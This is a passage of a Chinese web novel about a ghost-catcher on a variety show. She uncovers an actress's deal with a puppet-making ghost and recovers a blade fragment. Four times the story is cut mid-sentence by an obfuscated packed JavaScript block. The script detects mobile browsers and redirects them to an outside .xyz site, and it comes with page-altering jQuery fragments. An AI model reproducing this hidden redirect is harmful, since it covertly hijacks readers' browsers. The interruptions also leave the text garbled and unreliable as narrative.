左轻白看到了女厕所的画面,她在心里说:这小东西怎么跑厕所去了?厕所里全是水,它是纸做的,万一不小心被水沾上,就飞不起来了哦。 纸人很小心,尽量避开厕所里的水渍。 厕所里有人,白柳站在厕所的镜子前,像是在做什么心理准备。 白柳用左手在镜子上敲了三下,又用右手在镜子上敲了五下,最后再用左手在镜子上敲了七下,看得左轻白都累了。突然,那面镜子中间突兀地出现了一个黑乎乎的大洞,大洞里是个深深的漩涡,漩涡中刮出一股大风,把白柳吸了进去。 小纸人也想跟上去,却被大风猛的吹飞,“吧唧”一下拍到天花板上,目眩头晕。 大洞开始愈合,愈合期间,有几缕黑气从大洞里漏了出来,看到黑气的左轻白从座位上“蹭”的一下站了起来,心想:是鬼气! 就在左轻白想去女厕所找白柳的时候,节目工作人员喊道:“开始啦开始啦!各位老师集合一下,我们即将开始下一节的录制……轻白老师你要去哪?录制马上就要开始了,麻烦不要走动了哟。” 左轻白说:“我去找白柳姐……” 没等她说完,工作人员马上叫另两个人去找白柳:“小吴、娟子,去找一下白柳老师!” 没过多久,那两个人就把白柳找回来了。左轻白愣了一下,这样看来白柳没在那个洞里呆多久。 白柳回来时,左轻白明显地看到她身上多了一丝鬼气,白柳果然跟鬼接触过了,她跟鬼做了什么交易? 录制开始。 第二轮搜证的场景从红玫瑰的化妆间换到了红玫瑰的房间。 在房间里,大家又找到了一张红玫瑰与陌生男人的合照,不同的是,这次的照片上有三个人,除了红玫瑰和陌生男人外,居然还有黄经理。 众人齐刷刷看向黄经理,大侦探逼黄经理说实话。 黄经理叹了声气,娓娓说道:“其实事情是这样子的,照片上这个男人是我以前的老板,姓周,他现在在香港。” 白蔷薇露出一脸看好戏的表情,问:“这个周老板跟红玫瑰有什么关系吗?” 黄经理点点头,“红玫瑰爱周老板,爱得很深。” 这时红玫瑰的青梅竹马宋时祺破防大喊:“你胡说,红玫瑰最爱的明明是我!她只爱我!” 黄经理冷道:“当年红玫瑰因为母亲生病需要钱治病,不得已来到上海打工,上海这么大,她一个女孩子害怕,她让你陪她一起来,你来了吗?” 宋时祺呆住。 黄经理说:“你不愿意来,你嫌这里的活儿苦,只想呆在老家。” 黄经理继续说:“红玫瑰孤苦伶仃来到上海,她一个女孩实在太艰难了,就在这时,她遇到了周老板。周老板帮了她很多,帮她赶走混混,帮她搬家,周老板不仅帮她,还爱她,肯为她花钱花时间花精力,把她捧在手心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599014|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。红玫瑰出生的家庭重男轻女,活了这么多年,这是她第一次体会到被人关心被人爱。红玫瑰不爱周老板,难道爱你这个废物吗?你为红玫瑰做过什么?”黄经理一指宋时祺。 宋时祺无地自容。 “后来呢?”左轻白问。 “后来,周老板走了,去香港,走的时候他没带走红玫瑰。” “为什么?依你的描述,周老板应该很爱红玫瑰啊。” “爱是真的,离开也是真的,爱与分离都是人生常态。” 爱是真的,离开也是真的。听到这句台词时,白柳突然微微发抖,无尽的悲伤淹没了她。 “白柳姐。”左轻白小声唤她,“你没事吧?” 白柳回过神来,摇了摇头。 “周老板与红玫瑰已经分开四年了,哪怕过了四年,红玫瑰也依然没有放下周老板,每天在没人的时候以泪洗面。”黄经理说。 大侦探质问黄经理:“那你又是怎么回事?你怎么没跟你前任老板一起去香港?” “周老板让我留下来照顾红玫瑰小姐,当然,对外不能说是他让我留下来的,只能说是我自己不想走。” 白柳后知后觉地想起台词,马上调整状态,进入角色。白柳冷哼一声,不屑道:“四年了还没放下?真没用。” “有人四十年都未必放下。” “我知道为什么她放不下。”左轻白走到红玫瑰的床头,拿起一张红玫瑰的单人照,她拿着红玫瑰的照片,目光却盯着白柳看,左轻白说:“红玫瑰姐姐出生在一个重男轻女的家庭,是周老板的出现让她第一次体会到了被人捧在手心里的感觉。可有一天,周老板突然不捧了,他要离开了,红玫瑰姐姐从手心摔到地下,这种从云端跌落的落差感对一个人来说是天大的打击。” 左轻白一步步走向白柳,她看似是在说台词,实际上她的话是对白柳说的,左轻白说:“她接受不了这种落差感,实在太痛苦了,为了消除痛苦,她只想找回周老板,跟他回到以前,不管用什么手段。” 白柳目光躲闪,不敢看左轻白。 左轻白继续走剧情,说道:“我听红玫瑰姐姐说过,赚够了钱她要去香港,我还以为她开玩笑,香港那么远,路上不太平,现在想想,她或许是真的做了去香港的准备,要去香港找周老板。” 接下来,搜证继续,大家继续找线索。 节目还在录制中,周围都有摄像机,然而左轻白不顾周围的摄像机,突然一把拉住了白柳。 左轻白压低声音,对白柳说:“白柳姐,你是不是为了挽回前男友,跟鬼做了交易?” 左轻白不喜欢拐弯抹角,说话相当直白,一上来就跟白柳谈鬼。 白柳慌了一下,故作镇定道:“你在说什么啊?世界上哪有鬼?” “有,你在厕所见到的那个就是。”左轻白很直接。 白柳用力挣脱左轻白,“现在在工作,录综艺也是工作,认真一点,别再说这种奇奇怪怪的话。” 120. 恐怖谷效应拉满 白柳甩开了左轻白。 现在还在录制,大家都看着,众目睽睽之下左轻白不好再对白柳拉拉拽拽。 左轻白一直熬到第二小节结束。 即将进行的第三小节的内容是大家围坐在一个圆桌前,在大侦探的主持下分析谁是凶手,并投票,把凶手投出来,在第二小节和第三小节之间有一小段休息时间,趁这段短暂的休息时间,左轻白把白柳拉到了无人处。 左轻白问:“白柳姐,我最后问你一遍,你是不是跟鬼做了交易。” 白柳是演员出身,很会演戏,想掩饰些什么基本不会有破绽,白柳眉头微皱,一脸莫名其妙地看着左轻白,说:“我不知道你在说什么。” 白柳把这种“我什么都不知道”的样子演得很真,可她不知道的是,左轻白早就通过纸人什么都看到了。 左轻白点点头,说:“好,白柳姐不想说,随便你,我可以自己去找答案。” 说完,左轻白二话不说朝女厕所走去。 白柳大吃一惊,心里“咚咚”打鼓。就在白柳犹豫该不该跟上去的时候,左轻白已经消失在了她的视线里。 左轻白来到女厕所,在镜子前学着白柳的节奏敲了又敲,不一会儿,镜子上的大洞开启,大洞里深不见底的漩涡正在旋转,一股妖风袭来,漩涡将左轻白吸了进去。 左轻白一闭眼。再一睁眼时,左轻白来到了一栋……小别墅? 这里藏了一个空间,空间里有一栋小别墅。 小别墅里装修雅致,精致的北欧风,简洁大方,低调优雅,主人有品味。 小别墅里放着很多雕塑、绘画、木制品,这里的主人似乎是个艺术家?不对,他做的这些东西,更像剧组或者综艺节目里使用的道具,他是个道具师? 左轻白走到别墅二楼,在二楼找到了一个房间,房间门半开,她把头伸进去看了看。 房间里全是人偶,非常逼真的人偶,有站着的、坐着的、躺着的,一个个做得活灵活现,栩栩如生,制作它们的人有一双巧手,甚至把呼吸和眼动都模拟出来了。 人偶很漂亮,但聚在一起时,只会让人感到恐怖。有一个词叫“恐怖谷”效应,是指当非人类实体在外观和行为上与人类非常相似时,往往会引起人的不适和恐惧。这里这么多人偶,个个这么逼真,恐怖谷效应简直拉满了。 左轻白看到房间中还有个穿着厚厚皮衣的人正在制作人偶,他手里那个虽然还没做完,但已经十分接近真人,只是还有一些细节需要完善。 左轻白想到了《超级侦探秀》节目组用的道具人偶,毫无疑问,如此逼真的人偶都出自房间里这个人之手,确切来说是这只鬼之手。 左轻白发现,这只鬼穿着的那件厚厚的皮衣是麒麟皮所制,这种稀少的材料有个奇妙的作用,就是隔绝鬼气,一般的鬼接触物品后,物品上会沾染鬼气,但如果穿上了这件皮衣,就不会沾上鬼气了。难怪左轻白在剧组的道具人偶上没有发现鬼气。 鬼背对着左轻白,厚厚的皮衣把他全身上下从头发丝到脚趾都包裹得严严实实,他察觉到声响,尖叫一声,厉声呵斥:“别进来!” 他说:“不是说了吗?你要的东西我会做好给你,不要着急!” 左轻白双手抱臂,冷笑一声,对待鬼她一向干脆利落,左轻白从怀中抽出一张符纸,符纸发出金光,符纸首先变成一个金钵,罩在那只鬼头顶,左轻白口中念咒,紧接着麒麟皮衣炸裂开来,皮衣下,是个瘦瘦的、其貌不扬的中年男人。 男人是只披着人皮的鬼,他的人皮快腐烂了,太阳穴烂了个洞,下巴也烂了个洞,洞里流着黑血,钻出尸鳖,两只耳朵软塌塌的直往下掉,因为失去弹性的缘故,他的人皮像是耷拉在他身上的一样,给人一种时刻往下坠的感觉。 这张人皮太久了,该换新的了。 金钵变成一个大金笼子,把“男人”锁在了里面,左轻白走到笼子前,对他说:“如果我没猜错的话,你就是那个在业内很有名的道具师孔屏吧?你居然在这里弄了个秘密空间,出口居然还是女厕所,变不变态啊?” 孔屏不知道左轻白的来历,他惊恐地看着左轻白,问:“你……你是谁啊?我认识你吗?” 左轻白轻轻一笑,“来不及跟你解释,我赶时间。这样,要么你告诉我白柳跟你交换了什么,要么我马上把你收了。” 左轻白作势要动手,孔屏忙道:“别动手!我说!” 孔屏道出了真相:“白柳跟我要一只跟她前男友一模一样、并由她控制的人偶,还要我偷来她前男友的灵魂,把灵魂放入人偶中,只有这样,她前男友才永远不会离开她。” “你偷了吗?”左轻白问孔屏。 “还没有,但我答应了她会去偷。” “白柳拿什么东西跟你换?” “她不用付出任何代价。” “鬼不是慈善家,你不可能什么好处都不收。” “白柳不用付出代价,但我依然能够得到好处。等把白柳前男友的灵魂偷出来,放到人偶里之后,她前男友的壳子就是个空壳子,到时那张人皮就是我的了,也算是各取所需。”孔屏说。 左轻白打量孔屏身上那张快要腐烂的人皮,恍然大悟地“哦”了一声,说:“难怪,你也确实应该更换人皮了。” “我还有个问题。”左轻白说,“你在制作人偶的时候为什么要穿上麒麟皮衣?为了不让鬼气沾到人偶上?” “你这人莫名其妙,都知道还问?是。” “我好奇的是为什么不能让鬼气沾到人偶身上啊?” “制作人偶的材质是特别定制的特殊材质,鬼气会腐蚀它,让它变得不完美,我不允许我的作品不完美,所以才穿上麒麟皮衣,隔绝鬼气。” “原来是这样!你真是个伟大的艺术家。” 夸归夸,夸完,左轻白拿出一张符纸,准备把孔屏收进符纸中去。 孔屏大骇,惊恐地喊道:“你答应过我不收我的!” 左轻白奇怪地看向孔屏,道:“咦,我什么时候答应不收你了?我刚才的原话是:‘要么你告诉我白柳跟你交换了什么,要么我马上把你收了’,你选了第一个选项,所以我没有马上收你,但我可没允诺你说完白柳的秘密后不收你。” 孔屏瞪大双眼,“你不讲武德!你耍阴招!” “我师父说了,对付鬼,什么阴招都可以使。你不服就去找我师父理论去。”说完,左轻白催动符纸,符纸爆发出一阵金光,金光漫过孔屏全身,然后慢慢熄灭,在这个过程中,孔屏被收入了符纸中。 远在另一个世界的玄逸莫名其妙地打了个喷嚏。 收了孔屏后,左轻白得意洋洋,她正想离开这个秘密空间,哪知一转头,就看到白柳站在门口,正幽怨地看着她。 “白柳姐。” “你到底是谁?”白柳问。 “我是一个捉鬼师。孔屏是鬼,捉他是我的责任。白柳姐,你不应该跟鬼做交易。” 白柳冷笑一声,“你把他抓了,那我怎么办?他答应帮我做的事情还没成!” “白柳姐,分手了那就放手吧,用跟鬼做交易这种极端的方式挽回前男友,不是正道。” 白柳一瞪左轻白,她几乎放弃了她的所有表情管理,咬牙切齿地向左轻白吼道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14623132|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你说得倒轻巧!” 白柳一步步逼近左轻白,说:“你体验过整夜整夜睡不着觉吗?体会过心脏碎掉的感觉吗?精神急剧变得颓靡,像是掉进了一个深渊,怎么都爬不出来,你有过吗?” 白柳突兀地笑了一声,继续说:“我忘了,你没有,你的恋情很顺利。你都没经历过失恋吧?你一个幸福的女人,根本无法共情我。” 白柳恨恨地看了一眼左轻白,突然说:“我妒忌你,妒忌你比我幸福。但我只是想要一个人偶陪在我身边,你都要阻止吗?” 左轻白指着周围,周围全是人偶,她对白柳说:“这里全是人偶,你挑一个陪你呗,为什么非要他?” “等你失过恋你就懂了。没他我会死。” “白柳姐,这我就不理解了,你的生死,或者说你的人生,为什么要托付到别人身上?” 左轻白继续说:“我的恋爱经验不多,没法指点你什么。你刚才说等我失过恋就懂了,我想象了一下如果有一天我跟路回分开会怎样,我想我一定会很伤心很心痛,但我又想了想,我跟路回的人生本就是独立的两条线,两条线从不相交到相交再到不相交,再怎么折腾都还是独立的两条线,为什么相交之后我这条线就要断掉呢?” 左轻白走到白柳跟前,对她说:“白柳姐,你把你前男友的位置放得太前了,这样对他不好,对你也不好。” 左轻白继续说:“我是捉鬼师,见过很多鬼,我认识一个女鬼,那只女鬼杀了很多无辜的人,我讨厌她,但有一句话她说得不错,她说:‘我爱你,但我更爱我自己。’” 这句话是金绮月对左轻白说的。在悼青山的时候,金绮月对左轻白说:“小若姐姐,我爱你,但我更爱我自己。” “爱人之前先爱自己啊,白柳姐。”左轻白劝道,“更何况你这已经不算爱了,把人的灵魂偷出来放到人偶里,多么可怕的计划,这不叫爱,这叫执念。” 白柳愣神地看着左轻白,开口道:“你真的恋爱经验不多吗?怎么觉得你很有感悟?” 左轻白托腮道:“谈的不多,听的多啊,捉鬼的时候那些鬼经常跟我讲它们的爱情故事。” 白柳失神喃喃:“自从发现这个镜子里有个秘密空间,空间主人还是只鬼后,我就觉得这世界真是匪夷所思,没想到不光有鬼还有捉鬼师,真是太神奇了……” 左轻白推着白柳的肩膀往前走,想带她出去。左轻白边走边说:“神奇的地方太多了,你要是想探究,探究一辈子都探究不完,所以别天天死死活活的。咱们得赶紧出去了,休息时间很短,下一节录制马上就要开始了……” 她正说着,突然,不知发生了什么,房间里所有人偶都动了起来。 孔屏已经被左轻白收进符中,所以肯定不是孔屏操纵的。 那些人偶长得跟人一模一样,但动起来却十分僵硬,跟僵尸似的。人偶们脸上带着笑,它们一边笑一边跟僵尸一样朝左轻白和白柳移动过来。 一个女人偶保持着僵硬的微笑,嘴巴也僵硬地一开一合,它发出了声音,说出四个字:“时间停止。” 说完,女人偶张嘴一吐,吐出一枚闪着寒光的金属碎片,藏在左轻白怀里的弥月刃刀柄突然发出锐鸣声。 “弥月刃碎片!”左轻白脱口而出。 这一次弥月刃碎片没有像前几次那样老老实实地粘到刀柄上,它居然冒出了奇怪的白烟,白烟像蛇一样缠绕上了左轻白和白柳。 与此同时,女人偶继续僵硬地张嘴说话:“时间停止。” 它眼睛瞪得大大的,嘴巴一边一张一合,一边僵硬地保持微笑,这一刻恐怖谷效应拉满。 121. 这就是信念感吗 白柳睁开眼睛时,发现自己身处一个海边别墅。 这栋别墅是白柳的前男友为两人准备的爱巢,白柳曾在这里跟前男友度过了一个又一个浪漫旖旎的夜晚。白柳不知道为什么自己又回到了这里。 白柳下楼,一楼有个开放式厨房,现在,白柳的前男友居然在那里做西餐。 白柳愣住了,这是分手后她幻想过无数遍的场景。 前男友看到白柳,笑着跟她打招呼:“宝贝,过来吃饭了。” 白柳几乎是喜极而泣,她的脑海里只有一个声音:他回来了,他终于回来了! 白柳来到餐桌前,前男友把做好的西餐端到白柳跟前,温柔地对白柳说:“尝尝看我的手艺进步没有?” 白柳尝了一口,她觉得幸福满满。 “你怎么不吃啊?”白柳问。 前男友笑道:“我吃过了,你吃。” 白柳吃完了前男友做的西餐,前男友在一旁充满爱意地看着她。 “我们是复合了是吗?”白柳问。 “当然,我永远不会再离开你。”前男友深情地说。 白天,两人在海边散步、拍照、聊天,前男友无比温柔,白柳感到自己被幸福包围,就像他最开始追她的那样。 晚上,白柳换了睡衣,进了卧室,但前男友却迟迟不进来。 书房的灯一直亮着。 白柳觉得奇怪,她走出卧室,走到书房门口,白柳往里看去,只见前男友坐在椅子上,抱着自己的左腿关节不知道在捣鼓什么。 捣鼓着捣鼓着,他居然“咯噔”一下把他的腿从他身上拆了下来。 这场面相当骇人,白柳“啊”的一声吓得叫出声来。 前男友瞥了一眼站在门口的白柳,满不在乎地笑道:“怎么了?我上油而已。” 说着,前男友拿起一瓶油抹在自己的断腿上。 白柳支支吾吾道:“你……你是……” “是啊,我是人偶。”前男友不咸不淡地说,他对白柳的态度跟白天时像是两个人。 上好了油,前男友把腿装回去,这时,他把手挪到脖子上,同样是“咯噔”一声,他把自己的头给拆了下来! 白柳吓得又是“啊”的一声叫。 这两声把前男友叫烦了,前男友突然重重的放下脑袋,一具没有脑袋的身体就这么朝白柳走来。 “你叫什么?”前男友冷冷地问。 “你别过来。”白柳一慌。 “这不就是你要的吗?” “我……你把头装回去,装回去!” 前男友倒是挺听话,他走了回去,并把脑袋装回身体上。这具人偶的出场设置就是要听白柳的话,所以他不会违抗白柳的命令。 白柳吓得腿发软,无力地倚在门边。 这是我要的吗?白柳问自己。 不对!白柳察觉到了哪里不对劲,她望向前男友,试探地问:“不对,我想起来了,不应该是这样的,孔屏还没有帮我制造人偶就被左轻白给收了,所以……所以你不应该出现!为什么……” 白柳脑中灵光一闪,道:“这不是真的,孔屏没有帮我制造人偶!你不是真的,你是……幻象!” “这里的一切都是幻象。”前男友冷冷地说。 “我要离开这里。”白柳大声说,“出口在哪?” 白柳疯了似的跑下楼,她想离开别墅,可是别墅的大门突然打不开了,窗户也打不开,白柳在别墅里像热锅里的蚂蚁,急得团团转。 突然,白柳在厨房发现了一个通往地下室的通道,这个通道散发出圣光一样的光芒。白柳看着这个发着光的通道,眼前一亮——她以为自己找到了出口。 白柳走入通道。 通道通往地下室,这个别墅里什么时候有个地下室?白柳从来都不知道。 白柳进入地下室,地下室很大,里面有好多好多人偶,男的、女的、老人、小孩,都睁着一双大大的会发光的眼睛盯着白柳看。 这些人偶在笑,它们笑得很诡异,越看越瘆人。 白柳突然害怕起来,她想回去,但当她转身的时候,来时的那条通道已经不见了。白柳被锁在了这里。 整个地下室的人偶都动了起来,它们一边咧着嘴笑,一边僵硬地朝白柳走来。它们的嘴巴越张越大,眼睛死死地盯着白柳看,仿佛要吃了白柳。 白柳害怕地发出一声尖叫,大声说:“滚!滚!” “我不要人偶了!我不要人偶了!”白柳哭道,“有人吗?救命啊!” 那些人偶把白柳团团围住,就在它们的手准备伸向白柳时,突然,地下室的天花板被硬生生撕开一个口子,从那个口子里伸出一只手,一只女人的手。 女人的手精准地伸向白柳,强行把白柳拽出了地下室。 白柳被甩在一片冰冷的石头上,接着,她的身体逐渐变大再变大,就在白柳不知道发生了什么的时候,她转头一看,发现左轻白就在她身后。左轻白抱着一个立体的纸板模型,模型是个别墅,别墅的布局跟白柳刚才所在的别墅一模一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673970|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但模型被破坏了,地下室上方的位置被左轻白扣了个大洞。白柳恍然大悟,刚才从天花板撕个口子并伸手进来救她的就是左轻白。 左轻白把纸板模型扔到一旁,笑吟吟地对白柳说:“白柳姐,没事了。” 左轻白问白柳:“白柳姐,还想要人偶吗?” 白柳赶紧摇头,“不,不想要了,那东西太可怕了!” 白柳忽然一怔,猜到了什么,她问左轻白:“莫非,刚才的幻象是你弄的?” 左轻白说:“刚才的幻象的确是我弄的,但如果你真让孔屏帮你做出了人偶,刚才的场景就不是幻象,而是真实发生的了。” “可是我只让孔屏做一个人偶,刚才我在地下室看到的那么多人偶是怎么回事?”白柳问。 “那些都是被吸引过来的鬼人偶。只要你养了一个鬼人偶,就一定会吸引来更多的鬼人偶,全部聚集在你周围。你是什么样的人,你与什么为伍,就会招来什么样的东西。” 说着,左轻白站了起来,眺望远方。 这里是个孤岛,左轻白和白柳正在一个巨大的礁石上,海平线上,朝阳升起,左轻白朝朝阳伸出手,很神奇的,那朝阳像是有感应一般,一抹辉光落在左轻白手上。 白柳左看看,右看看,问:“这是哪?” “碎片空间,我们被困住了。”左轻白说。 “被什么困住?” “一把刀的碎片。” “什么?” “那片碎片蕴含着巨大的能量,不仅帮孔屏开创出镜子里的空间,还让空间里孔屏制造出来的人偶都动了起来,并把我们困在了这里。”左轻白说道,“这片碎片比其他碎片都叛逆,不过只要收服了它,一切就都可以恢复正常。现在的时间是静止的,收服它之后,回去我们还可以继续录综艺。” 白柳的眼睛瞪得大大的,不可思议地看着左轻白。 白柳使劲地拍打自己的脸,“这真的不是在演戏吗?我真的不是被带到什么玄幻剧的片场里来了吗?” “天啊!”白柳仰天哀嚎,她觉得她的世界观受到了颠覆。 左轻白却无视白柳的震惊,她一把抓住白柳的手臂,认真道:“白柳姐,你愿意跟我一起收服弥月刃碎片吗?” 白柳目瞪口呆,看左轻白像看疯子一样,“你怎么不说让我跟你一起拯救世界呢?”这一刻白柳只想抓狂。 “这就是在拯救世界。”左轻白居然无比认真。 “这就是信念感吗?”白柳崩溃地来了一句吐槽。 122. 游出深渊 左轻白拿出皮筋,把头发扎了起来,凝视前方的一轮朝阳。 一道光“沙拉”一声撕破朝阳,把朝阳硬生生撕开一道口子,从口子里竟然飞出一把利刃,是弥月刃碎片! 左轻白扎稳马步,气沉丹田,把两只手举到胸前,白柳见状吓得大叫:“你想干什么?你要徒手接住它吗?” 左轻白重重地呼出一口气,说:“是。” “你疯了!怎么会接得住!”白柳大喊。 “怎么会接不住?”左轻白却说。 话音刚落,弥月刃碎片旋转着高速朝左轻白飞来,它往左轻白怀里撞去! 白柳下意识地把眼睛一闭,再睁眼时,她看到左轻白竟然真的徒手接住了飞过来的弥月刃碎片,白柳惊得瞪大了眼。 由于惯性使然,左轻白被弥月刃碎片推着往后退,一时间停不下来。 左轻白刹不住车,步步后退,一直退到海岛边缘,左轻白双手抓稳了弥月刃碎片,然而脚下却被一个凸起的石头绊了一下,她一个趔趄站不稳,向后仰翻倒了下去。 下面是幽深的海水,“哗啦”一声水花响,左轻白掉入水中。 落水之前,左轻白喊出了一句:“白柳姐救我!” 白柳毫不犹豫地跳了下去。 白柳出身于海滨城市,从小就在海边玩,她游泳很厉害,一点都不怕水,所以作为一个演员,在拍水下戏时,白柳很有优势。 白柳抓住了左轻白,左轻白抱着弥月刃碎片。 白柳在水里跟回家了一样,她带着左轻白朝水面游去,这对白柳来说本应是件很轻松的事,然而,意外发生了。 海底仿佛伸出了一只大手,一股强大的拉力拉着左轻白和白柳往下坠,她们在海水中不停下落,坠往深渊。 恐惧笼罩着白柳,白柳拼命地蹬着腿,可她越蹬,越往下沉。 她沉了下去,沉入深渊。 白柳恍了一下神,她觉得这种感觉跟她失恋以来经历的情绪出奇的像,就是一种坠入深渊的失控感。 白柳突然心情一阵波动,然后她绝望地闭上了眼,不再蹬腿。 这时,一个声音在白柳耳边响起,不是左轻白的声音,而像是什么金属发出来的奇怪的声音,那声音对白柳说:“你是不是很痛苦?” 当然痛苦,在海下时强大的水压会压迫着人,白柳十分难受。 “往上游,游出去。”那声音又说。 白柳在心里想:游不动了。 那声音继续说:“游出深渊,别被困住。” 白柳想:我做不到。 那声音道:“为什么要小瞧自己的力量?” 白柳在心里崩溃地说:我做不到,我好难受。我快窒息了,我快死了! 声音又说:“只要你游出去,那么这段深渊就只是你的一段小经历而已,谁没点小经历?游!” 那声“游”像是一声命令一般,白柳的手脚重新动了起来。 白柳脑子里什么都不想,只管往上游。她不光自己游,还带着左轻白。 白柳使劲游,不知游了多久,她抬头时终于看见了水面的光亮。 白柳心中狂喜,她在心里说:快到水面了,马上就要得救了! 她向水面游去,近了,近了,就差一点! “哗啦”一声水声响起,白柳从海水中探出头来,然而她探头之后,却发现刚才的场景变了,大海没了,海岛没了,朝阳也没了,白柳身上是干的,头发也是干的,仿佛从没碰过水。 白柳回过神来,发现她现在所处的地方是孔屏制做人偶的那个房间,她正坐在地上,左轻白在她身旁。 左轻白从怀里拿出弥月刃刀柄,把刚才收服的刀刃碎片拼在了刀柄上。 左轻白对白柳说:“白柳姐,你真厉害,如果没有你,我无法收服弥月刃碎片。” “刚才……” “刚才在深渊里,哪怕很难受,但只要游出来了,深渊也不过是一段小经历而已。就像白柳姐你正在经历的失恋,再难受,走出来后,回头一看,也不过是一段小经历罢了,你的人生远不止这段小经历。” “刚才我听到的声音,难道是你?”白柳问。 左轻白摇摇头,否认道:“不是我。”她指了指回到刀柄上的弥月刃碎片,说:“我也是刚刚才想明白,是它。” 左轻白笑道:“这些碎片我找了很久,只有这片碎片是需要我收服的,我还以为是它太叛逆,比较特立独行,原来不是这个原因,而是它想帮你呢,白柳姐。” “所以,刚才我听到的声音,是这片碎片在点拨我?难怪那个声音那么奇怪,不是人发出来的声音,而像金属片发出来的声音。”白柳满脸震惊,她觉得今天发生的一切都在颠覆她的世界观。 突然,“砰”的一声巨响,天花板居然掉了一块下来,一瞬间尘土飞扬。 左轻白连忙拉起白柳的手臂,对她说:“白柳姐,我们得马上离开这里,这个空间是靠弥月刃碎片的能量维持的,碎片回归刀柄后,空间就要塌了。” 左轻白拽着白柳原路返回,后面的房间在坍塌。 一阵旋风过后,两人回到了女洗手间。 白柳惊魂未定,就在这时,她和左轻白都听见了洗手间外响起的找人的广播,所有人都在找她俩。 白柳和左轻白一起走出洗手间。 一名女工作人员震惊道:“白柳老师,轻白老师,你俩在洗手间?可刚才我去洗手间找过,你俩明明不在啊。” 左轻白赶紧打哈哈道:“可能刚好错过了,对不起对不起,耽误了大家的时间,一会我点外卖,请大家喝奶茶,请最贵的。那个,咱们继续录制吧。” 录制继续。 接下来就是投票环节了,所有参与游戏的嘉宾围坐在一起,投票选出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700264|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们认为是凶手的那个人。 大家开始投票,宋时祺投了付子聪,并阐述了他的理由,宋时祺有理有据,逻辑清晰,听起来非常有道理。 大侦探点了点头,露出认可的表情。 轮到左轻白了,左轻白却投了宋时祺。 “怎么可能是我?”宋时祺说。 “黄经理说红玫瑰最爱的人是周老板的时候,你为什么那么大反应?”左轻白质问宋时祺。 “因为他说错了。红玫瑰最爱的人是我,我最爱的也是她,我们是一对相爱的情侣,我们从小青梅竹马,我怎么可能杀她?” “不,黄经理没说错,红玫瑰最爱的是周老板,不是你,你无法接受这个事实,所以破防了。”左轻白斩钉截铁道。 左轻白继续说:“从小到大,你都默认了红玫瑰最爱你,然而突然有一天你发现红玫瑰原来早就移情别恋了,她不但不爱你了,还攒好了钱计划去香港找她最爱的那个人,你自尊心接受不了,一时激愤,把她杀了。” “第一,我没杀人;第二,红玫瑰从始至今最爱的都是我,不然为什么抽屉里还有我跟她的合照?” 左轻白拿起那张红玫瑰与宋时祺的合照,上面沾了鬼气,当然,鬼气只有左轻白能看见。 左轻白说:“我跟红玫瑰很熟,为什么我从没在她房间和化妆间见过这张照片?因为你跟她的照片她早就扔掉了啊。这张照片其实是你的,是你刚刚放到她的抽屉里的,不仅如此,你还在大家面前不停地渲染你跟她的感情有多好,你俩有多相爱,就是为了误导大家让大家以为你不会杀她,然而事实是,她跟你这个青梅竹马早就决裂了!” “你是怎么知道照片是宋时祺的,不是红玫瑰的?”大侦探问。 “红玫瑰有个强迫症,必须在每张照片的背面写下这张照片的拍照时间,你们可以检查她的所有照片,每一张都如此,只有这张例外,原因很简单,因为这张照片不是她的。”左轻白说。 剧情确实是这么设置的,宋时祺把合照放在红玫瑰的抽屉里;不过实际上宋时祺的扮演者时魏在录制之前并没有接触过这张照片,游戏中出现的所有照片都是工作人员提前摆放好的。 宋时祺跟红玫瑰的合照,这张照片比较特殊,一开始时漏掉了,后来检查时工作人员才发现漏了一张,赶紧补上。负责补上这张照片的工作人员叫路滨,他打印好照片后,还没来得及放好,就碰上道具师孔屏的助手来给节目组送道具,就是一开始让左轻白误以为是真人的那个人偶。路滨非常崇拜孔屏,缠着助手一定要带他去见孔屏,助手被缠得没办法,只好带他去,路滨乐乐呵呵地就去了,去的时候兜里还揣着照片。 